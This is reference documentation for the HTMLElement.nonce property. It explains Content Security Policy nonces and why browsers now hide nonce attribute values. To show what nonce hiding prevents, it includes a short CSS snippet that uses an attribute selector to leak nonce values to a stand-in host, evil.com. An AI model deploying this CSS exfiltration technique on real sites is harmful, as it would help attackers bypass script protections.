HTMLElement.nonce
The nonce
property of the HTMLElement
interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.
In later implementations, elements only expose their nonce
attribute to scripts (and not to side-channels like CSS attribute selectors).
Examples
Retrieving a nonce value
In the past, not all browsers supported the nonce
IDL attribute, so a workaround is to try to use getAttribute
as a fallback:
let nonce = script['nonce'] || script.getAttribute('nonce');
However, recent browsers version hide nonce
values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']
) will be the only way to access nonces.
Nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this:
script[nonce~=whatever] {
background: url("https://evil.com/nonce?whatever");
}
Specifications
Specification |
---|
HTML Standard # dom-noncedelement-nonce |
Browser compatibility
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